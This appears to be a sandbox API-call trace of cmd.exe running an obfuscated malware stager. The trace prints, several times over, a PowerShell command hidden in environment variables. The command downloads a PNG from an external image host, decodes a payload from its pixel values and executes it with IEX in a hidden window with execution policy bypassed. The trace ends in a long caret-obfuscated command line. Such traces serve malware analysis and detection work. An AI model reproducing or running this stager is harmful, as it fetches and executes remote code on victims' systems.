[0102.678] GetConsoleTitleW (in: lpConsoleTitle=0x12d900, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.687] GetEnvironmentVariableW (in: lpName="+,\\", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrv=. ( @sHelLId{1]+@shELlId{1#]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sembl`'+'Name 9axS`stem.Dra'+'w'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2140[(0.'+'.4)b'+'S'+'j%\\foreach('+'v'+'6'+'Qx in(0..4'+'27'+'))\\v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*428+v6Qx]=({math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'}['+'I'+'EX('+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk{0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',{sTRInG]{ChAr]#4).ReplaCE(({ChAr]98+{ChAr]8#+{ChAr]106),{sTRInG]{ChAr]124).ReplaCE(({ChAr]118+{ChAr]54+{ChAr]81),{sTRInG]{ChAr]#6))^&^& seT aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:s3LrV).vaL3e ) ^^^|POwERsHElL -noNiNTEraCTI -NolO -wiN hIdden -execuTIONpOLIc b`PASS -nOPrOFIle -COmMANd ^^^^^^^&( @eNV:ComsPec{4,24,25]-JoIn'')(@inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x44a [0102.687] GetConsoleTitleW (in: lpConsoleTitle=0x12da50, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.693] GetEnvironmentVariableW (in: lpName="]#", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrv=. ( @sHelLId{1]+@shELlId{1#]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'`pe -As'+'sembl`'+'Name 9axS`stem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2140;(0.'+'.4)b'+'S'+'j%\\foreach('+'v'+'6'+'Qx in(0..4'+'27'+'))\\v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'{v6Q'+'_*428+v6Qx]=({math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk{0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',{sTRInG]{ChAr]#4).ReplaCE(({ChAr]98+{ChAr]8#+{ChAr]106),{sTRInG]{ChAr]124).ReplaCE(({ChAr]118+{ChAr]54+{ChAr]81),{sTRInG]{ChAr]#6))^&^& seT aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:s3LrV).vaL3e ) ^^^|POwERsHElL -noNiNTEraCTI -NolO -wiN hIdden -execuTIONpOLIc b`PASS -nOPrOFIle -COmMANd ^^^^^^^&( @eNV:ComsPec{4,24,25]-JoIn'')(@inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x44a [0102.696] GetConsoleTitleW (in: lpConsoleTitle=0x12d900, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.703] GetEnvironmentVariableW (in: lpName="_`@#", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrv=. ( @sHelLId[1]+@shELlId[1#]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'`pe -As'+'sembl`'+'Name 9axS`stem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr B`'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%\\foreach('+'v'+'6'+'Qx in(0..4'+'27'+'))\\v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]#4).ReplaCE(([ChAr]98+[ChAr]8#+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]#6))^&^& seT aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:s3LrV).vaL3e ) ^^^|POwERsHElL -noNiNTEraCTI -NolO -wiN hIdden -execuTIONpOLIc b`PASS -nOPrOFIle -COmMANd ^^^^^^^&( @eNV:ComsPec[4,24,25]-JoIn'')(@inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x44a [0102.704] GetConsoleTitleW (in: lpConsoleTitle=0x12d8a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.707] GetEnvironmentVariableW (in: lpName="[_", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrv=. ( @sHelLId[1]+@shELlId[1#]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'`pe -As'+'sembl`'+'Name 9axS`stem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr B`'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]#4).ReplaCE(([ChAr]98+[ChAr]8#+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]#6))^&^& seT aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:s3LrV).vaL3e ) ^^^|POwERsHElL -noNiNTEraCTI -NolO -wiN hIdden -execuTIONpOLIc b`PASS -nOPrOFIle -COmMANd ^^^^^^^&( @eNV:ComsPec[4,24,25]-JoIn'')(@inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x44a [0102.711] GetConsoleTitleW (in: lpConsoleTitle=0x12d8a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.718] GetEnvironmentVariableW (in: lpName="$_'}", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrv=. ( @sHelLId[1]+@shELlId[1#]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'`pe -As'+'sembl`'+'Name 9axS`stem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr B`'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]#4).ReplaCE(([ChAr]98+[ChAr]8#+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]#6))^&^& seT aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe ) ^^^|POwERsHElL -noNiNTEraCTI -NolO -wiN hIdden -execuTIONpOLIc b`PASS -nOPrOFIle -COmMANd ^^^^^^^&( @eNV:ComsPec[4,24,25]-JoIn'')(@inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x44a [0102.718] GetConsoleTitleW (in: lpConsoleTitle=0x12d7e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.722] GetEnvironmentVariableW (in: lpName="\\[,#", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrv=. ( $sHelLId[1]+$shELlId[1#]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'`pe -As'+'sembl`'+'Name 9axS`stem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr B`'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]#4).ReplaCE(([ChAr]98+[ChAr]8#+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]#6))^&^& seT aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe ) ^^^|POwERsHElL -noNiNTEraCTI -NolO -wiN hIdden -execuTIONpOLIc b`PASS -nOPrOFIle -COmMANd ^^^^^^^&( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x44a [0102.726] GetConsoleTitleW (in: lpConsoleTitle=0x12d6c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.746] GetEnvironmentVariableW (in: lpName=",`", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrv=. ( $sHelLId[1]+$shELlId[13]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'`pe -As'+'sembl`'+'Name 9axS`stem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr B`'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]34).ReplaCE(([ChAr]98+[ChAr]83+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]36))^&^& seT aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.INVOkesCRiPT((LS eNV:sULrV).vaLUe ) ^^^|POwERsHElL -noNiNTEraCTI -NolO -wiN hIdden -execuTIONpOLIc b`PASS -nOPrOFIle -COmMANd ^^^^^^^&( $eNV:ComsPec[4,24,25]-JoIn'')($inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x44a [0102.747] GetConsoleTitleW (in: lpConsoleTitle=0x12d750, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.751] wcstol (in: _String=" +1 \"", _EndPtr=0x12d950, _Radix=0 | out: _EndPtr=0x12d950*=" \"") returned 1 [0102.751] _wpopen (_Command=" ^ft^Y^p^e | ^f^iN^d^S^t^r ^c^m ", _Mode="rb") returned 0x7feff632b10 [0102.766] feof (_File=0x7feff632b10) returned 0 [0102.766] ferror (_File=0x7feff632b10) returned 0 [0103.398] feof (_File=0x7feff632b10) returned 0 [0103.398] ferror (_File=0x7feff632b10) returned 0 [0103.460] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.460] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12d598 | out: lpMode=0x12d598) returned 1 [0103.460] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.460] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0f6340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x12d5d8, lpReserved=0x0 | out: lpBuffer=0x4a0f6340*, lpNumberOfCharsWritten=0x12d5d8*=0x2) returned 1 [0103.461] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0103.461] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0103.461] _vsnwprintf (in: _Buffer=0x4a0deb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x12d618 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop") returned 25 [0103.461] _vsnwprintf (in: _Buffer=0x4a0deb92, _BufferCount=0x3e5, _Format="%c", _ArgList=0x12d618 | out: _Buffer=">") returned 1 [0103.461] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.461] GetFileType (hFile=0x7) returned 0x2 [0103.461] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.461] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12d5c8 | out: lpMode=0x12d5c8) returned 1 [0103.462] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.462] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0deb60*, nNumberOfCharsToWrite=0x1a, lpNumberOfCharsWritten=0x12d608, lpReserved=0x0 | out: lpBuffer=0x4a0deb60*, lpNumberOfCharsWritten=0x12d608*=0x1a) returned 1 [0103.462] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.462] GetFileType (hFile=0x7) returned 0x2 [0103.462] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.462] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12d8a8 | out: lpMode=0x12d8a8) returned 1 [0103.462] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.462] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0d9ed8*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x12d8e8, lpReserved=0x0 | out: lpBuffer=0x4a0d9ed8*, lpNumberOfCharsWritten=0x12d8e8*=0x1) returned 1 [0103.463] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.463] GetFileType (hFile=0x7) returned 0x2 [0103.463] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.463] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12d818 | out: lpMode=0x12d818) returned 1 [0103.463] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.463] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1e80090*, nNumberOfCharsToWrite=0x4, lpNumberOfCharsWritten=0x12d858, lpReserved=0x0 | out: lpBuffer=0x1e80090*, lpNumberOfCharsWritten=0x12d858*=0x4) returned 1 [0103.464] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x12d858 | out: _Buffer=" ,%*[-,% ") returned 13 [0103.464] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.464] GetFileType (hFile=0x7) returned 0x2 [0103.464] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.464] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12d7e8 | out: lpMode=0x12d7e8) returned 1 [0103.464] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.464] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0f6340*, nNumberOfCharsToWrite=0xd, lpNumberOfCharsWritten=0x12d828, lpReserved=0x0 | out: lpBuffer=0x4a0f6340*, lpNumberOfCharsWritten=0x12d828*=0xd) returned 1 [0103.464] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x12d888 | out: _Buffer=" | ") returned 3 [0103.464] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.464] GetFileType (hFile=0x7) returned 0x2 [0103.465] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.465] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12d818 | out: lpMode=0x12d818) returned 1 [0103.465] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.465] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0f6340*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x12d858, lpReserved=0x0 | out: lpBuffer=0x4a0f6340*, lpNumberOfCharsWritten=0x12d858*=0x3) returned 1 [0103.466] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.466] GetFileType (hFile=0x7) returned 0x2 [0103.466] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.466] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12d818 | out: lpMode=0x12d818) returned 1 [0103.466] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.466] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1e80170*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x12d858, lpReserved=0x0 | out: lpBuffer=0x1e80170*, lpNumberOfCharsWritten=0x12d858*=0x3) returned 1 [0103.466] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x12d858 | out: _Buffer="; ") returned 3 [0103.466] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.466] GetFileType (hFile=0x7) returned 0x2 [0103.467] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.467] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12d7e8 | out: lpMode=0x12d7e8) returned 1 [0103.467] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.467] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0f6340*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x12d828, lpReserved=0x0 | out: lpBuffer=0x4a0f6340*, lpNumberOfCharsWritten=0x12d828*=0x3) returned 1 [0103.467] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x12d8e8 | out: _Buffer=") ") returned 2 [0103.467] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.467] GetFileType (hFile=0x7) returned 0x2 [0103.467] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.467] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12d878 | out: lpMode=0x12d878) returned 1 [0103.467] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.468] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0f6340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x12d8b8, lpReserved=0x0 | out: lpBuffer=0x4a0f6340*, lpNumberOfCharsWritten=0x12d8b8*=0x2) returned 1 [0103.468] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x12d8e8 | out: _Buffer="\r\n") returned 2 [0103.468] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.468] GetFileType (hFile=0x7) returned 0x2 [0103.468] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0103.468] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12d878 | out: lpMode=0x12d878) returned 1 [0103.468] _get_osfhandle (_FileHandle=1) returned 0x7 [0103.468] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4a0f6340*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x12d8b8, lpReserved=0x0 | out: lpBuffer=0x4a0f6340*, lpNumberOfCharsWritten=0x12d8b8*=0x2) returned 1 [0103.469] _pipe (in: _PtHandles=0x218b00, _PipeSize=0x0, _TextMode=32768 | out: _PtHandles=0x218b00) returned 0 [0103.469] _dup (_FileHandle=1) returned 5 [0103.469] _dup2 (_FileHandleSrc=4, _FileHandleDst=1) returned 0 [0103.470] _close (_FileHandle=4) returned 0 [0103.470] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0103.470] SetErrorMode (uMode=0x0) returned 0x8001 [0103.470] SetErrorMode (uMode=0x1) returned 0x0 [0103.470] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\.", nBufferLength=0x208, lpBuffer=0x242b60, lpFilePart=0x12d1d0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x12d1d0*="system32") returned 0x13 [0103.470] SetErrorMode (uMode=0x8001) returned 0x1 [0103.470] NeedCurrentDirectoryForExePathW (ExeName="C:\\Windows\\system32\\.") returned 1 [0103.470] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0103.471] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0103.471] FindClose (in: hFindFile=0x27fc60 | out: hFindFile=0x27fc60) returned 1 [0103.471] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0103.472] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0103.472] GetConsoleTitleW (in: lpConsoleTitle=0x12d490, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0103.472] InitializeProcThreadAttributeList (in: lpAttributeList=0x12d248, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x12d208 | out: lpAttributeList=0x12d248, lpSize=0x12d208) returned 1 [0103.472] UpdateProcThreadAttribute (in: lpAttributeList=0x12d248, dwFlags=0x0, Attribute=0x60001, lpValue=0x12d1f8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x12d248, lpPreviousValue=0x0) returned 1 [0103.472] GetStartupInfoW (in: lpStartupInfo=0x12d360 | out: lpStartupInfo=0x12d360*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="Cmd , ; ; ; pPuxarv/VCsv40blbkn , cw8f/r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ 